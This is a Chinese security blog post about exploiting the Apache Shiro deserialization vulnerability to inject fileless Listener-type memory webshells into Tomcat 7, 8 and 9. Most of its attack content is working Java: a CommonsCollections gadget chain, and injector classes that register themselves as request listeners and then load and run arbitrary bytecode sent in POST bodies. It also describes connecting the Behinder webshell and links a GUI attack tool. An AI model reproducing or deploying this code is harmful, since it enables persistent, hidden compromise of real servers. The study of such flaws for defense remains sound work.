Shiro反序列化漏洞与Tomcat注入内存马学习

阅读量278065

|

发布时间 : 2021-06-24 10:00:09

 

最近在看phith0n师傅的教程入门JAVA安全,其中提到的Shiro反序列化已经是个2016年的老洞了

但是这个漏洞第一似乎比较适合入门,而且实战确实还能遇到几个(犄角旮旯里的系统),另外现有的注入工具注入内存马的时候可能会失败,于是自己造了个轮子,也是为了更好地了解漏洞的原理和利用方式

本文所有代码以及GUI工具都开源在了 https://github.com/ccdr4gon/Dr4gonSword

仅供交流学习漏洞原理,请勿用于非法用途

最后我把自己在学习过程中的一些浅薄的思考写成了这篇文章,如有谬误恳请各位师傅指出

 

利用链

CommonsCollectionsK1_1

因为写的时候在看p师傅的知识星球入门JAVA,按照p师傅的顺序shiro前面是cc3,所以我写的也是把cc3的TransformerChain改成tiedMapEntry,可能和正版的CommonsCollectionsK1有点区别(大概只是InvokerTransformer和InstantiateTransformer)的区别

TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj,"_bytecodes",new byte[][] {code});
        setFieldValue(obj,"_name","");
        setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
        InstantiateTransformer i=new InstantiateTransformer
                (
                        new Class[] { Templates.class },
                        new Object[] { obj }
                );
        Map originalMap  = new HashMap();
        Map decoratedMap = LazyMap.decorate(originalMap , i);
        Map fakedecoratedMap=LazyMap.decorate(originalMap, new ConstantTransformer("1"));
        TiedMapEntry tme = new TiedMapEntry(fakedecoratedMap,TrAXFilter.class);
        Map enterpointMap = new HashMap();
        enterpointMap.put(tme, "valuevalue");
        decoratedMap.clear();
        setFieldValue(tme,"map",decoratedMap);
        //  序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(enterpointMap);

CommonsCollectionsK1_1_For_CC4

只是把LazyMap.decorate改成了LazyMap.lazyMap而已

Tomcat8/9回显和注入内存马

Tomcat的三种内存马

三种内存马为Listener型,Filter型,Servlet型,网上对于这三种内存马的研究已经有很多师傅做过了,不再赘述

其中注入成功的关键点就是如何获取到StandardContext

而获取StandardContext又有3种方式

  • 1.在jsp文件自带的变量如request等等里面找
  • 2.从Thread.currentThread()里面找
  • 3.从JMXMBeanServerdomainTb下面直接获取

首先第一种应该被排除,因为我们要做到无文件落地

这里我选了第二种,因为首先第二种在Tomcat8/9的情况下最短最方便

另外我选了Listener型的内存马,因为Tomcat加载的顺序是Listener,Filter,Servlet,而shiro的实现似乎包含一个ShiroFilter,如果我们使用Listener型内存马,那是不是就不会被shiro拦截(指还没加载恶意代码就跳转登录界面)了呢

事实上也确实Listener型的似乎好用一些,可以在shirofilter匹配/*的时候生效
如下图,2021年强网杯(写文章的前几天)初赛中的HardPentest题目也可以正常使用

与Shiro反序列化漏洞结合

我们知道Shiro反序列化漏洞要反序列化成功必须是AbstractTranslet的子类才可以(因为是TemplatesImpl利用链,在TemplatesImpldefineTransletClasses有下面这一行)

而从StandardContext加进listeners的类也要实现ServletRequestListener接口,那我们不如直接创建一个类Init,既继承AbstractTranslet类,又实现ServletRequestListener接口

然后在自己的构造方法中调用StandardContext.addApplicationEventListener(this),在反序列化的过程中出发构造方法,把自己加入到listeners中

然后在requestInitialized中编写恶意代码,不就可以在每个请求的过程中执行任意命令了吗(也是为了解决下面request too large的问题,在每个请求的过程中加载恶意的字节码)

public class Init extends AbstractTranslet implements ServletRequestListener  {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
    public Init() throws Exception {
        super();
        super.namesArray = new String[]{"ccdr4gon"};
        WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
        standardCtx.addApplicationEventListener(this);
    }
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {}
    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        //恶意代码
    }
}

但是这里我们并不能随意编写恶意代码,因为如果恶意代码太长(导致header超过8kb),那么tomcat会报一个header too large的错,无法利用成功

解决request header too large的问题

目前似乎有两种解决的方式

  • 1.改变org.apache.coyote.http11.AbstractHttp11Protocol的maxHeaderSize的大小 而这篇文章里面也说明了,但是由于request的inputbuffer会复用,所以我们在修改完maxHeaderSize之后,需要多个连接同时访问
  • 2.把恶意代码放在POST包的body里面

我们这里选择第二种方式

首先我们把一个Init加载进内存,然后在Init的requestInitialized方法中读取POST的body作为字节码加载类,并调用类的构造方法

这样我们就可以执行长度不限的任意代码了,如果有的依赖缺失,也可以手动把类全加载进去(比如连接Behinder3早期版本用到的PageContext类)

public class Init extends AbstractTranslet implements ServletRequestListener  {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
    public Init() throws Exception {
        super();
        super.namesArray = new String[]{"ccdr4gon"};
        WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
        standardCtx.addApplicationEventListener(this);
    }
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {}
    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        try {
            RequestFacade requestfacade= (RequestFacade) sre.getServletRequest();
            Field field = requestfacade.getClass().getDeclaredField("request");
            field.setAccessible(true);
            Request request = (Request) field.get(requestfacade);
            if (request.getParameter("stage").equals("init")) {
                StringBuilder sb = new StringBuilder("");
                BufferedReader br = request.getReader();
                String str;
                while ((str = br.readLine()) != null) {
                    sb.append(str);
                }
                byte[] payload = Base64.getDecoder().decode(sb.toString());
                Method defineClass = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                defineClass.setAccessible(true);
                Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), payload, 0, payload.length);
                clazz.newInstance();
            }
        }catch (Exception ignored){}
    }
}

连接Behinder3

因为我一开始在本地测试的时候是随手找的冰蝎beta6版本,其中需要一个PageContext类型的变量,而PageContext是一个抽象类

public abstract class PageContext extends JspContext {

我也没想到太好的办法,我就自己实现了一个类继承PageContext,这个类要实现getResponse,getRequest,getSession方法,因为旧版本的冰蝎要使用到这三个方法

这里我踩了一个小坑导致不能连接新版本的冰蝎,我看了jsp马没有任何变化,没办法只能jd-gui看一下jar包

一看代码发现冰蝎兼容旧版本的处理如下,而我自己创建的继承了PageContext的类名为Dr4gonContext

可以看到匹配的是PageContext,于是把我们自己的类改名为Dr4gonPageContext即可🤣🤣🤣

回显

都有内存马了还要啥回显嘛,不过最后还是写了回显,第一个可能比较方便,第二可以用来检测内存马是不是注入成功(我的回显和内存马在同一个类里面,如果可以回显基本上也可以连接内存马)

最关键的是在我们的listener中,可以直接获取到request,所以写起来也很方便,于是就写了

代码就不贴了,都丢在github上了

Tomcat7回显和注入内存马

写好了工具以后旁边师傅跟我说利用失败,然后我一看是个Tomcat7的站,随便调试了一下发现在Tomcat中,没办法再使用简单的Thread.currentThread().getContextClassLoader().getResource().getContext()来获取到StandardContext

调试了一下以后我没有使用jmx利用链,因为:

在SpringBoot嵌入式tomcat的环境下似乎默认没有开启嵌入式tomcat的JMXmbeanserver,其他师傅们的利用链似乎跑不通(没有仔细调试)
payload太长,即使Init类也无法加载进去
这里看了很多很多师傅的利用链,最终还是选择了和kingkk师傅差不多的方法(使用了c0ny1师傅的java-object-searcher来寻找利用链,然后找到比较短的一个)

但是即使是比较短的一个利用链还是超过8kb的长度,最终只能手动优化Init类的代码🤣,缩小字节码体积,最终也能满足8kb的限制(rememberMe的长度在7900左右),优化后的代码如下

public class T7 extends AbstractTranslet implements ServletRequestListener {
    public Object G(Object o, String s) throws Exception {
        Field f = o.getClass().getDeclaredField(s);
        f.setAccessible(true);
        return f.get(o);
    }
    public void transform(DOM a, SerializationHandler[] b){}
    public void transform(DOM a, DTMAxisIterator b, SerializationHandler c){}
    public void requestDestroyed(ServletRequestEvent s) {}
        public T7() {
        try {
            Object o=new Object();
            Thread[] g = (Thread[]) G(Thread.currentThread().getThreadGroup(), "threads");
            for (int i = 0; i < g.length; i++) {
                Thread t = g[i];
                if (t!=null&&t.getName().contains("Backg")) {
                    o = G(G(t, "target"), "this$0");
                }
            }
            Field f = Class.forName("org.apache.catalina.core.ContainerBase").getDeclaredField("children");
            f.setAccessible(true);
            HashMap<String,Object> p = (HashMap) f.get(o);
            for (Map.Entry l : p.entrySet()) {
                HashMap<String,Object> k = (HashMap) f.get(l.getValue());
                for (Map.Entry j : k.entrySet()){
                    ((StandardContext)j.getValue()).addApplicationEventListener(this);
                }
            }
        } catch (Exception i) {}
    }
    public void requestInitialized(ServletRequestEvent s) {
        try {
            StringBuilder b = new StringBuilder("");
            BufferedReader r = ((Request) G(s.getServletRequest(), "request")).getReader();
            String g;
            while ((g = r.readLine()) != null) {
                b.append(g);
            }
            byte[] p = Base64.getDecoder().decode(b.toString());
            Method m = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            m.setAccessible(true);
            Class c = (Class) m.invoke(Thread.currentThread().getContextClassLoader(), p, 0, p.length);
            c.newInstance();
        }catch (Exception i){}
    }
}

这里本来我是想把Init类分两个请求加载进去的,后一个Init2调用前一个Init1的方法,形成一个接力,但是后来发现shiro反序列化利用的时候是每次defineClass都会new一个自己的ClassLoader(在TemplatesImpl类中),所以前后两个类没法互相访问

没办法只好出此下策,手动优化类的代码,缩短字节码的长度至8k以内,如果师傅有更好的方法希望可以交流一下

 

感谢

phithon
kingkk
j1anFen
Litch1
threedr3am
wh1t3p1g
李三
LandGrey
Lucifaer
c0ny1
等等等等发表过Tomcat内存马/回显以及Shiro利用方式文章的师傅

本文由戳戳龙原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/244450

安全客 - 有思想的安全新媒体

分享到:微信
+12赞
收藏
戳戳龙
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66